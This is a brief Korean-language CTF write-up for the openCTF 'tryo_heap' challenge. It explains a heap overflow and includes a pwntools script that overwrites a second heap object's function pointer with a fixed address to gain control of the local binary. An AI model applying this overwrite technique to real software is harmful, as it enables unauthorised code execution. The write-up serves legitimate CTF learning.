openCTF <tryo_heap>

Binary  <== 바이너리

아무리 봐도 heap overflow 느낌입니다

create 로 2개 만들어놓고 

read_b 로 적당히 덮어서 2번째 object를 덮고

run으로 실행시키면 쓱ㅡ싹

from pwn import *

def create():

p.sendline("c")

p.recvuntil("::>")

def input(i,pay):

p.sendline("b")

p.recvuntil(":")

p.sendline(i)

p.recvuntil(":")

p.sendline(pay)

p.recvuntil("::>")

def exploit():

create() ; create()

input('0',p32(eip)*10) 

p.sendline("e")

p.sendline("1")

p.interactive()

if __name__=='__main__':

with process("./heap") as p:

eip=0x08048660

p.recvuntil("::>")

exploit()